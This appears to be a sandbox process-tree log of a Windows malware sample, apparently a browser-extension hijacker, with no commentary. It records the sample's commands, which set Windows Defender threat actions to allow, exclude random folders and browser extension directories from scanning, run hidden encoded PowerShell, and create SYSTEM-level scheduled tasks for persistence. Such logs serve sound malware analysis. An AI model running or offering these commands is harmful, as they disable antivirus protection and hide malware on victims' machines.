  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:10904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6920
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9572
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:10084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ThMGWdUmU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ThMGWdUmU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UaVgBYTZXtaU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UaVgBYTZXtaU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kUJslkcUSPXTQSQxqZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kUJslkcUSPXTQSQxqZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rMUPBhwqxPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rMUPBhwqxPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tNEGQWcJepTXC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tNEGQWcJepTXC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\zuiTHwOsYUtvfhVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\zuiTHwOsYUtvfhVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\iEXgneFXbIyvMcll\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\iEXgneFXbIyvMcll\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:10108
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ThMGWdUmU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:10828
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ThMGWdUmU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:8044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ThMGWdUmU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UaVgBYTZXtaU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UaVgBYTZXtaU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:10432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kUJslkcUSPXTQSQxqZR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:11092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kUJslkcUSPXTQSQxqZR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rMUPBhwqxPUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:11204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rMUPBhwqxPUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:11228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tNEGQWcJepTXC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:11260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tNEGQWcJepTXC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:10312
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\zuiTHwOsYUtvfhVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\zuiTHwOsYUtvfhVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:11044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:11068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\maeAzaBImTBxUSTkU /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\iEXgneFXbIyvMcll /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\iEXgneFXbIyvMcll /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gavKvTROA" /SC once /ST 09:26:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4164
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gavKvTROA"
  2⤵
  PID:5984
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gavKvTROA"
  2⤵
  PID:8956
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iGLminDpaUjjtVOPq" /SC once /ST 07:45:53 /RU "SYSTEM" /TR "\"C:\Windows\Temp\iEXgneFXbIyvMcll\LNANoqBruAlOYYT\LfZhQAq.exe\" Bk /dusite_idonz 525403 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:9148
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "iGLminDpaUjjtVOPq"
  2⤵
  PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 6316 -ip 6316
1⤵
PID:6676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 9160 -ip 9160
1⤵
PID:9144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1364 -ip 1364
1⤵
PID:6264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 10692 -ip 10692
1⤵
PID:10864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:7176
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 7368 -ip 7368
1⤵
PID:6812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1364 -ip 1364
1⤵
PID:8212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4324 -ip 4324
1⤵
PID:4352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 1364 -ip 1364
1⤵
PID:5144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1364 -ip 1364
1⤵
PID:8072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 8256 -ip 8256
1⤵
PID:9504

C:\Windows\Temp\iEXgneFXbIyvMcll\LNANoqBruAlOYYT\LfZhQAq.exe
C:\Windows\Temp\iEXgneFXbIyvMcll\LNANoqBruAlOYYT\LfZhQAq.exe Bk /dusite_idonz 525403 /S
1⤵
PID:9996
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bfNbHvxcYNsqPQKSWz"
  2⤵
  PID:9520
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:10472
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:11040
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:10496
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:7416
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ThMGWdUmU\etcxcZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "iiwDwVwLZYQFwaL" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:11112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iiwDwVwLZYQFwaL2" /F /xml "C:\Program Files (x86)\ThMGWdUmU\njjGLIh.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4480
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "iiwDwVwLZYQFwaL"
  2⤵
  PID:10612
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "iiwDwVwLZYQFwaL"
  2⤵
  PID:10628
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XtvkmTFXjOvHur" /F /xml "C:\Program Files (x86)\UaVgBYTZXtaU2\uGnNrDe.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:11008
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nuuFNDgXHNojI2" /F /xml "C:\ProgramData\zuiTHwOsYUtvfhVB\myRUfDC.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:10700
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JJkbMFfpyqqtPSVau2" /F /xml "C:\Program Files (x86)\kUJslkcUSPXTQSQxqZR\IPMlYMU.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:7148
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ivIoJHedsTbxETxqIVt2" /F /xml "C:\Program Files (x86)\tNEGQWcJepTXC\KFJWrZs.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4436
- C:\Windows\SysWOW64\schtasks.exe
